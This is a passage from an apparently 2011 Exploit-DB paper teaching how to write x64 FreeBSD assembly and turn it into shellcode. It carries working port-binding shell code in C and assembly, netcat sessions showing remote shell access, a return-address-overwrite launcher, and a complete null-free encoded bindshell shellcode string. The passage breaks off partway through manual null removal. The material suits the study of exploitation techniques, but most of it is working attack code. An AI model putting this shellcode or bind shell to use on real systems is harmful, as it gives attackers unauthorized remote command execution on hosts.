Writing Assembly on FreeBSD (x64)

EDB-ID:

17746

CVE:

N/A


Author:

entropy

Type:

papers


Date:

2011-08-29


|=-----------------=[ Writing Assembly on FreeBSD (x64)]=--------------=|
|=---------------------------------------------------------------------=|
|=------------------------entropy [at] phiral.net----------------------=|
|=---------------------------------------------------------------------=|
|=------------------------the devil made me do it----------------------=|

----[ Intro

I assume you know how to write in asm on x86 in AT&T syntax. I also 
assume you will read or have read Jon Larimer's[1] SummerCon[2] slides
and Sys V ABI[3]. If you need an extremely easy intro to *remind* you of 
what you have forgotten over the years of partying and excessive drinking 
I would first say to read x64 Windows Debugging: Practical Foundations[4] 
and Writing Assembly on OpenBSD (x86)[5] as we are going to do a very 
similar example.

----[ _exit(0)

Start out with the most basic possible:

[entropy@phiral ~/code/fbsd_x64]$ man 2 _exit

...
     void
     _exit(int status);
...

_exit takes one param, the value to return. To get its syscall number

[entropy@phiral ~/code/fbsd_x64]$ cat /usr/src/sys/kern/syscalls.master |\
grep _exit

1	AUE_EXIT	STD	{ void sys_exit(int rval); } exit \

Since everyone read all the required reading (...) we know to put the
syscall number of _exit into rax, and the first paramater into rdi, and 
call kernel int $0x80.

Code looks like:

[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
    nop
    movq $1, %rax
    movq $13, %rdi
    int $0x80

Assemble, link and run.

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ ./exit  
[entropy@phiral ~/code/fbsd_x64]$ echo $?
13

But have a look at these nasty ass honey badger opcodes:

[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit

exit:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	48 c7 c0 01 00 00 00 	mov    $0x1,%rax
  4000b8:	48 c7 c7 0d 00 00 00 	mov    $0xd,%rdi
  4000bf:	cd 80                	int    $0x80

GCC, and basically any assembler/linker will optimize it into something
like:

[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
    nop
    pushq $1; popq %rax
    pushq $13; popq %rdi
    int $0x80

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit

exit:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 01                	pushq  $0x1
  4000b3:	58                   	pop    %rax
  4000b4:	6a 0d                	pushq  $0xd
  4000b6:	5f                   	pop    %rdi
  4000b7:	cd 80                	int    $0x80

Much nicer.

Add some defines to make the code easier to read and you get:

[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .rodata
.equ SYS_EXIT,1
.equ EXIT_RET,13 
.equ KERNEL, 0x80

.section .text
.globl _start
_start:
    nop
    pushq $SYS_EXIT; popq %rax
    pushq $EXIT_RET; popq %rdi
    int $KERNEL

Boring.

----[ Hello World!

Same thing for this, see what params write() takes and find its syscall
number.

[entropy@phiral ~/code/fbsd_x64]$ man 2 write
...
     ssize_t
     write(int d, const void *buf, size_t nbytes);
...

Takes the d (file descriptor) to write to, which will be STDOUT (1),
pointer to some string, and the size of the string.

And the syscall number for write is...

[entropy@phiral ~/code/fbsd_x64]$ grep write \
/usr/src/sys/kern/syscalls.master             

4	AUE_NULL	STD	{ ssize_t write(int fd, const void *buf, 

And we keep our _exit in there to exit when done. So put 4 in rax for the
write syscall, put 1 in rdi (first param), put address of string into rsi 
(second param), and using our math skillz to count that "Hello, World!\n" 
is 14 chars, so put 14 into rdx (third param).

[entropy@phiral ~/code/fbsd_x64]$ cat write.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13 
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14

.section .data
hello:
    .ascii "Hello, World!", "\n"

.section .text
.globl _start
_start:
    nop

    # write(1, *hello, 14)
    pushq $SYS_WRITE; popq %rax		# 4 (write syscall) into rax
    pushq $STDOUT; popq %rdi		# 1 (STDOUT) into rdi
    pushq $hello; popq %rsi		# address of hello into rsi
    pushq $HELLO_LEN; popq %rdx 	# 14 (HELLO_LEN) into rdx
    int $KERNEL				# call kernel
    
    pushq $SYS_EXIT; popq %rax		# 1 (_exit syscall) into rax
    pushq $EXIT_RET; popq %rdi		# 13 (EXIT_RET) into rdi
    int $KERNEL				# call kernel

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write.s -o write.o
[entropy@phiral ~/code/fbsd_x64]$ ld write.o -o write
[entropy@phiral ~/code/fbsd_x64]$ ./write
Hello, World!

[entropy@phiral ~/code/fbsd_x64]$ objdump -d write

write:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 04                	pushq  $0x4
  4000b3:	58                   	pop    %rax
  4000b4:	6a 01                	pushq  $0x1
  4000b6:	5f                   	pop    %rdi
  4000b7:	68 d0 00 50 00       	pushq  $0x5000d0
  4000bc:	5e                   	pop    %rsi
  4000bd:	6a 0e                	pushq  $0xe
  4000bf:	5a                   	pop    %rdx
  4000c0:	cd 80                	int    $0x80
  4000c2:	6a 01                	pushq  $0x1
  4000c4:	58                   	pop    %rax
  4000c5:	6a 0d                	pushq  $0xd
  4000c7:	5f                   	pop    %rdi
  4000c8:	cd 80                	int    $0x80

Since we are doing this for shellcode, we want to get rid of those 
dirty whore nulls, which is the address $0x5000d0 (address of the 
string). What we can do is push immediate values onto the stack, the
hex of 'Hello, World!\n', backwards. We have to pad it with 4 A's 
which we will over write with \x0s since strlen('Hello, World!\n') 
is != 16.

[entropy@phiral ~/code/fbsd_x64]$ cat write_leet.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13 
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14

.section .text
.globl _start
_start:
    nop

    # write(1, *hello, 14)
    pushq $SYS_WRITE; popq %rax		# 4 (write syscall) into rax
    pushq $STDOUT; popq %rdi		# 1 (STDOUT) into rdi

    movq $0xAAAA0a21646c726f, %rcx      # put orld!\nAAAA into rcx
    pushq %rcx                          # push it onto stack
    movq $0x57202c6f6c6c6548, %rcx      # put Hello, W into rcx
    pushq %rcx                          # push it onto stack
    # so here rsp is pointing to [Hello, W][orld\n!AAAA]
    # we want to overwrite those A's with 0s so
    xorq %rbx, %rbx                     # set rbx to 0
    xorq %rcx, %rcx                     # set rcx to 0
    movb $14, %cl                       # set cl to 14 (index into string
                                        # to first A)
    movw %bx, (%rsp, %rcx, 1)           # write a word of 0000
    movq %rsp, %rsi                     # put rsps address into rsi
    # so here rsp is pointing to [Hello, W][orld\n!0000]
    pushq $HELLO_LEN; popq %rdx 	# 14 (HELLO_LEN) into rdx
    int $KERNEL				# call kernel
    
    pushq $SYS_EXIT; popq %rax		# 1 (_exit syscall) into rax
    pushq $EXIT_RET; popq %rdi		# 13 (EXIT_RET) into rdi
    int $KERNEL				# call kernel

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write_leet.s -o write_leet.o
[entropy@phiral ~/code/fbsd_x64]$ ld write_leet.o -o write_leet
[entropy@phiral ~/code/fbsd_x64]$ ./write_leet
Hello, World!
[entropy@phiral ~/code/fbsd_x64]$ objdump -d write_leet

write_leet:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 04                	pushq  $0x4
  4000b3:	58                   	pop    %rax
  4000b4:	6a 01                	pushq  $0x1
  4000b6:	5f                   	pop    %rdi
  4000b7:	48 b9 6f 72 6c 64 21 	mov    $0xaaaa0a21646c726f,%rcx
  4000be:	0a aa aa 
  4000c1:	51                   	push   %rcx
  4000c2:	48 b9 48 65 6c 6c 6f 	mov    $0x57202c6f6c6c6548,%rcx
  4000c9:	2c 20 57 
  4000cc:	51                   	push   %rcx
  4000cd:	48 31 db             	xor    %rbx,%rbx
  4000d0:	48 31 c9             	xor    %rcx,%rcx
  4000d3:	b1 0e                	mov    $0xe,%cl
  4000d5:	66 89 1c 0c          	mov    %bx,(%rsp,%rcx,1)
  4000d9:	48 89 e6             	mov    %rsp,%rsi
  4000dc:	6a 0e                	pushq  $0xe
  4000de:	5a                   	pop    %rdx
  4000df:	cd 80                	int    $0x80
  4000e1:	6a 01                	pushq  $0x1
  4000e3:	58                   	pop    %rax
  4000e4:	6a 0d                	pushq  $0xd
  4000e6:	5f                   	pop    %rdi
  4000e7:	cd 80                	int    $0x80

No nulls...

[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh write_leet
\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72
\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48
\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6
\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f
\xcd\x80

[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] = "\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72"
                     "\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65"
                     "\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48"
                     "\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6"
                     "\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f"
                     "\xcd\x80";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:10: warning: cast from pointer to integer of different size
sc.c:7: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
Hello, World!

ready to start poppin some boxes printing 'Hello, World!' ftw

----[ Retro Bindshell

For an example thats easy to understand do a old school bindshell.

[entropy@phiral ~/code/fbsd_x64]$ cat portbind.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>

#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666

int
main (void) {
        char *shell[2];
        int listen_socket, accept_socket, len;
        struct sockaddr_in s;
        /* create a tcp socket */
        listen_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        /* address family */
        s.sin_family = AF_INET;
        /* bind to all address on box */
        s.sin_addr.s_addr = htonl(INADDR_ANY);
        /* listen on the port */
        s.sin_port = htons(PORT);
        /* bind to port */
        bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
        /* listen for connects */
        listen(listen_socket, 1);
        len = sizeof(s);
        /* accept a connect on listenign socket */
        accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(accept_socket, STDIN);
        dup2(accept_socket, STDOUT);
        dup2(accept_socket, STDERR);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        _exit(0);
}

Listens on every ip on the box on port 6666.

[entropy@phiral ~/code/fbsd_x64]$ gcc portbind.c -o portbind
[entropy@phiral ~/code/fbsd_x64]$ ./portbind 

maihem@sparky ~$ nc 172.16.233.85 6666
ls
apache2_shl
apache2_shl.o
apache2_shl.s
exit
exit.o
exit.s
fbsd_x64_encoder
fbsd_x64_encoder.o
fbsd_x64_encoder.s
get-sc.sh
ipv6_die
ipv6_die.o
ipv6_die.s
pb-opt.s
portbind
portbind.c
portbind2.c
sc
sc.c
write
write.o
write.s
write_leet
write_leet.o
write_leet.s
exit

Ok to start we need struct sockaddr since bind and accept both use it.

[entropy@phiral ~/code/fbsd_x64]$ grep 'struct sockaddr_in' -A7 -m1 \
/usr/include/netinet/in.h

struct sockaddr_in {
	uint8_t	sin_len;
	sa_family_t	sin_family;
	in_port_t	sin_port;
	struct	in_addr sin_addr;
	char	sin_zero[8];
};

uint8_t	sin_len is obviously a byte

[entropy@phiral ~/code/fbsd_x64]$ grep sa_family  /usr/include/sys/*.h    
/usr/include/sys/_types.h:typedef	__uint8_t	__sa_family_t;
/usr/include/sys/socket.h:typedef	__sa_family_t	sa_family_t;

sa_family_t is a byte

[entropy@phiral ~/code/fbsd_x64]$ grep in_port_t \
/usr/include/sys/types.h

typedef	__uint16_t	in_port_t;

in_port_t is a word

[entropy@phiral ~/code/fbsd_x64]$ grep 'struct in_addr' -A2 -m1 \
/usr/include/netinet/in.h

struct in_addr {
	in_addr_t s_addr;
};

[entropy@phiral ~/code/fbsd_x64]$ grep in_addr_t \
/usr/include/sys/types.h

typedef	__uint32_t	in_addr_t;	/* base type for internet address
*/

and in_addr_t a long.

The whole struct then looks like this:

struct sockaddr_in {
        uint8_t    sin_len;       /* 1 byte */
        uint8_t    sin_family;    /* 1 byte */
        uint16_t   sin_port;      /* 2 bytes */
        uint32_t   sin_addr;      /* 4 bytes */
        int8_t     sin_zero[8];  /* 8 bytes */
};

Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET, 
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.

[entropy@phiral ~/code/fbsd_x64]$ grep PF_INET /usr/include/sys/socket.h
#define	PF_INET		AF_INET

[entropy@phiral ~/code/fbsd_x64]$ grep AF_INET /usr/include/sys/socket.h
#define	AF_INET		2		/* internetwork: UDP, TCP, etc. */

[entropy@phiral ~/code/fbsd_x64]$ grep SOCK_STREAM \
/usr/include/sys/socket.h

#define	SOCK_STREAM	1		/* stream socket */

[entropy@phiral ~/code/fbsd_x64]$ grep IPPROTO_TCP \
/usr/include/netinet/in.h

#define	IPPROTO_TCP		6		/* tcp */

[entropy@phiral ~/code/fbsd_x64]$ grep INADDR_ANY \
/usr/include/netinet/in.h

#define	INADDR_ANY		(u_int32_t)0x00000000

So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
INADDR_ANY = 0

The htons (host to network short) just converts the byte order to
big-endian so just do that manually:

[entropy@phiral ~/code/fbsd_x64]$ printf "0x%x\n" 6666
0x1a0a
[entropy@phiral ~/code/fbsd_x64]$ printf "%d\n" 0x0a1a
2586

And of course STDIN is 0, STDOUT is 1 and STDERR is 2.

With this info we can rewrite the portbind2.c with our new info, we 
need these for our asm as we wont have any includes and will be 
calling syscalls directlly.

[entropy@phiral ~/code/fbsd_x64]$ cat portbind2.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

struct sockaddr_in {
        uint8_t    sin_len;       /* 1 byte */
        uint8_t    sin_family;    /* 1 byte */
        uint16_t   sin_port;      /* 2 bytes */
        uint32_t   sin_addr;      /* 4 bytes */
        int8_t     sin_zero[8];   /* 8 bytes */
};

int
main (void) {
        char *shell[2];
        int listen_socket, accept_socket, len;
        struct sockaddr_in s;
        /* create a tcp socket */
        listen_socket = socket(2, 1, 6);
        /* address family */
        s.sin_family = 2;
        /* bind to all address on box */
        s.sin_addr = 0;
        /* listen on the port */
        s.sin_port = 2586;
        /* bind to port */
        bind(listen_socket, (struct sockaddr *)&s, 16);
        /* listen for connects */
        listen(listen_socket, 1);
        len = 16;
        /* accept a connect on listenign socket */
        accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(accept_socket, 0);
        dup2(accept_socket, 1);
        dup2(accept_socket, 2);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        _exit(0);
}

[entropy@phiral ~/code/fbsd_x64]$ gcc portbind2.c -o portbind2
[entropy@phiral ~/code/fbsd_x64]$ ./portbind2 

maihem@sparky ~$ nc 172.16.233.85 6666
uname -a
FreeBSD phiral 8.2-RELEASE FreeBSD 8.2-RELEASE #1: Sun Aug 21 16:43:40
EDT 2011     
entropy@:/usr/src/sys/amd64/compile/DARKNESS  amd64
exit

Now we need all the syscall numbers for are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().

[entropy@phiral ~/code/fbsd_x64]$ for i in socket bind listen accept \
dup2 execve exit; do grep -m1 $i /usr/src/sys/kern/syscalls.master; \
done

97	AUE_SOCKET	STD	{ int socket(int domain, int type, \
104	AUE_BIND	STD	{ int bind(int s, caddr_t name, \
106	AUE_LISTEN	STD	{ int listen(int s, int backlog); }
30	AUE_ACCEPT	STD	{ int accept(int s, \
90	AUE_DUP2	STD	{ int dup2(u_int from, u_int to); }
59	AUE_EXECVE	STD	{ int execve(char *fname, char **argv, \
1	AUE_EXIT	STD	{ void sys_exit(int rval); } exit \

And get their prototypes (man 2 ):

    int
    socket(int domain, int type, int protocol);

    int
    bind(int s, const struct sockaddr *name, socklen_t namelen);

    int
    listen(int s, int backlog);

    int
    accept(int s, struct sockaddr * restrict addr,
         socklen_t * restrict addrlen);

    int
    dup2(int oldd, int newd);

    int
    execve(const char *path, char *const argv[], char *const envp[]);

    void
    _exit(int status);

Start coding, in pieces.

[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt1.s 
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
    .byte 0
sin_family:
    .byte 0
sin_port:
    .word 0
sin_addr:
    .long 0
sin_zero:
    .long 0,0,0,0,0,0,0,0
listen_sock:
    .long 0
accept_sock:
    .long 0
socklen:
    .long 0
shell:
    .ascii "/bin/sh\0"
shelladdr:
    .quad 0

.section .text
.globl _start
_start:
    nop

    # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
    pushq $SYS_SOCKET; popq %rax		# SYS_SOCKET syscall number
                                                # into rax
    pushq $PF_INET; popq %rdi			# PF_INET into rdi
    pushq $SOCK_STREAM; popq %rsi		# SOCK_STREAM into rsi
    pushq $IPPROTO_TCP; popq %rdx		# IPPROTO_TCP into rdx
    int $KERN					# call kernel
    movl %eax, listen_sock			# save return address in
                                                # listen_sock

    # _exit(0)    
    pushq $1; popq %rax
    xorq %rdi, %rdi
    int $KERN

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt1.s -o pb-opt1.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt1.o -o pb-opt1  
[entropy@phiral ~/code/fbsd_x64]$ ktrace ./pb-opt1
[entropy@phiral ~/code/fbsd_x64]$ kdump
 12599 ktrace   RET   ktrace 0
 12599 ktrace   CALL  execve(0x7fffffffec67,0x7fffffffe9d8,0x7fffffffe9e8)
 12599 ktrace   NAMI  "./pb-opt1"
 12599 pb-opt1  RET   execve 0
 12599 pb-opt1  CALL  socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)
 12599 pb-opt1  RET   socket 3
 12599 pb-opt1  CALL  exit(0)

socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) call looks fine.

[entropy@phiral ~/code/fbsd_x64]$ gdb -q pb-opt1
(gdb) disas _start
Dump of assembler code for function _start:
0x00000000004000b0 <_start+0>:	nop    
0x00000000004000b1 <_start+1>:	pushq  $0x61
0x00000000004000b3 <_start+3>:	pop    %rax
0x00000000004000b4 <_start+4>:	pushq  $0x2
0x00000000004000b6 <_start+6>:	pop    %rdi
0x00000000004000b7 <_start+7>:	pushq  $0x1
0x00000000004000b9 <_start+9>:	pop    %rsi
0x00000000004000ba <_start+10>:	pushq  $0x6
0x00000000004000bc <_start+12>:	pop    %rdx
0x00000000004000bd <_start+13>:	int    $0x80
0x00000000004000bf <_start+15>:	mov    %eax,0x5000f8
0x00000000004000c6 <_start+22>:	pushq  $0x1
0x00000000004000c8 <_start+24>:	pop    %rax
0x00000000004000c9 <_start+25>:	xor    %rdi,%rdi
0x00000000004000cc <_start+28>:	int    $0x80
End of assembler dump.
(gdb) b *_start+15
Breakpoint 1 at 0x4000bf: file pb-opt1.s, line 55.
(gdb) r
Starting program: /home/entropy/code/fbsd_x64/pb-opt1 

Breakpoint 1, _start () at pb-opt1.s:55
55	    movl %eax, listen_sock			# save return
address in listen_sock
Current language:  auto; currently asm
(gdb) s
58	    pushq $1; popq %rax
(gdb) p $rax
$1 = 7
(gdb) x/d &listen_sock
0x5000f8 :	7
(gdb) c
Continuing.

Program exited normally.
(gdb) q

The rest follows the same patten so the final code is here:

[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt-final.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
    .byte 0
sin_family:
    .byte 0
sin_port:
    .word 0
sin_addr:
    .long 0
sin_zero:
    .long 0,0,0,0,0,0,0,0
listen_sock:
    .long 0
accept_sock:
    .long 0
socklen:
    .long 0
shell:
    .ascii "/bin/sh\0"
shelladdr:
    .quad 0

.section .text
.globl _start
_start:
    nop

    # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi		
    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    movl %eax, listen_sock

    # build the sockaddr_in
    movl $AF_INET, sin_family
    movl $INADDR_ANY, sin_addr
    movl $PORT, sin_port

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    pushq $SYS_BIND; popq %rax
    pushq listen_sock; pop %rdi
    leaq sockaddr_in, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq listen_sock; popq %rdi
    pushq $1; popq %rsi
    int $KERN

    # accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
    # we already build the sockaddr_in above
    movl $SOCKADDR_IN_SIZE, socklen
    
    pushq $SYS_ACCEPT; popq %rax
    pushq listen_sock; popq %rdi
    leaq sockaddr_in, %rsi
    leaq socklen, %rdx
    int $KERN
    movl %eax, accept_sock

    # dup2 these rich whores
    # dup2(accept_socket, 0);
    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDIN; popq %rsi
    int $KERN

    # dup2(accept_socket, 1);
    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDOUT; popq %rsi
    int $KERN

    # dup2(accept_socket, 2);
    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDERR; popq %rsi
    int $KERN
  
    # execve(shell[0], shell, NULL);
    pushq $SYS_EXECVE; popq %rax
    leaq shell, %rdi
    leaq shelladdr, %rsi
    xorq %rdx, %rdx 
    int $KERN

    # _exit(0)    
    pushq $1; popq %rax
    xorq %rdi, %rdi
    int $KERN

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt-final.s -o \
pb-opt-final.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt-final.o -o pb-opt-final 
[entropy@phiral ~/code/fbsd_x64]$ ./pb-opt-final 

maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit

----[ Null removal

[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-opt-final

pb-opt-final:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 61                	pushq  $0x61
  4000b3:	58                   	pop    %rax
  4000b4:	6a 02                	pushq  $0x2
  4000b6:	5f                   	pop    %rdi
  4000b7:	6a 01                	pushq  $0x1
  4000b9:	5e                   	pop    %rsi
  4000ba:	6a 06                	pushq  $0x6
  4000bc:	5a                   	pop    %rdx
  4000bd:	cd 80                	int    $0x80
  4000bf:	89 04 25 b8 01 50 00 	mov    %eax,0x5001b8
  4000c6:	c7 04 25 91 01 50 00 	movl   $0x2,0x500191
  4000cd:	02 00 00 00 
  4000d1:	c7 04 25 94 01 50 00 	movl   $0x0,0x500194
  4000d8:	00 00 00 00 
  4000dc:	c7 04 25 92 01 50 00 	movl   $0xa1a,0x500192
  4000e3:	1a 0a 00 00 
  4000e7:	6a 68                	pushq  $0x68
  4000e9:	58                   	pop    %rax
  4000ea:	ff 34 25 b8 01 50 00 	pushq  0x5001b8
  4000f1:	5f                   	pop    %rdi
  4000f2:	48 8d 34 25 90 01 50 	lea    0x500190,%rsi
  4000f9:	00 
  4000fa:	6a 10                	pushq  $0x10
  4000fc:	5a                   	pop    %rdx
  4000fd:	cd 80                	int    $0x80
  4000ff:	6a 6a                	pushq  $0x6a
  400101:	58                   	pop    %rax
  400102:	ff 34 25 b8 01 50 00 	pushq  0x5001b8
  400109:	5f                   	pop    %rdi
  40010a:	6a 01                	pushq  $0x1
  40010c:	5e                   	pop    %rsi
  40010d:	cd 80                	int    $0x80
  40010f:	c7 04 25 c0 01 50 00 	movl   $0x10,0x5001c0
  400116:	10 00 00 00 
  40011a:	6a 1e                	pushq  $0x1e
  40011c:	58                   	pop    %rax
  40011d:	ff 34 25 b8 01 50 00 	pushq  0x5001b8
  400124:	5f                   	pop    %rdi
  400125:	48 8d 34 25 90 01 50 	lea    0x500190,%rsi
  40012c:	00 
  40012d:	48 8d 14 25 c0 01 50 	lea    0x5001c0,%rdx
  400134:	00 
  400135:	cd 80                	int    $0x80
  400137:	89 04 25 bc 01 50 00 	mov    %eax,0x5001bc
  40013e:	6a 5a                	pushq  $0x5a
  400140:	58                   	pop    %rax
  400141:	8b 3c 25 bc 01 50 00 	mov    0x5001bc,%edi
  400148:	6a 00                	pushq  $0x0
  40014a:	5e                   	pop    %rsi
  40014b:	cd 80                	int    $0x80
  40014d:	6a 5a                	pushq  $0x5a
  40014f:	58                   	pop    %rax
  400150:	8b 3c 25 bc 01 50 00 	mov    0x5001bc,%edi
  400157:	6a 01                	pushq  $0x1
  400159:	5e                   	pop    %rsi
  40015a:	cd 80                	int    $0x80
  40015c:	6a 5a                	pushq  $0x5a
  40015e:	58                   	pop    %rax
  40015f:	8b 3c 25 bc 01 50 00 	mov    0x5001bc,%edi
  400166:	6a 02                	pushq  $0x2
  400168:	5e                   	pop    %rsi
  400169:	cd 80                	int    $0x80
  40016b:	6a 3b                	pushq  $0x3b
  40016d:	58                   	pop    %rax
  40016e:	48 8d 3c 25 c4 01 50 	lea    0x5001c4,%rdi
  400175:	00 
  400176:	48 8d 34 25 cc 01 50 	lea    0x5001cc,%rsi
  40017d:	00 
  40017e:	48 31 d2             	xor    %rdx,%rdx
  400181:	cd 80                	int    $0x80
  400183:	6a 01                	pushq  $0x1
  400185:	58                   	pop    %rax
  400186:	48 31 ff             	xor    %rdi,%rdi
  400189:	cd 80                	int    $0x80

This as a fuck load of nulls in it to get rid of. You can either use 
some super 31337 encoder like...

[entropy@phiral ~/code/fbsd_x64]$ ./fbsd_x64_encoder pb-opt-final

[*] Pass 0 ..
[*] Pass 1 ..................
[*] Pass 2 ....
[*] Pass 3 ........
[*] Pass 4 .....
[*] Pass 5 ............
[*] Shellcode:

\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd
\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52
\x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04
\x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10
\x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80
\x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10
\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a
\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44
\x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a
\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6
\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7
\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2
\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80

... or do it the manual way.

All those addreses in the .data section are the problem, so we will 
just do it all on the stack and in registers. One block at a time.

/**** socket ****/

    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi           
    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    movl %eax, listen_sock  

becomes

    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi           
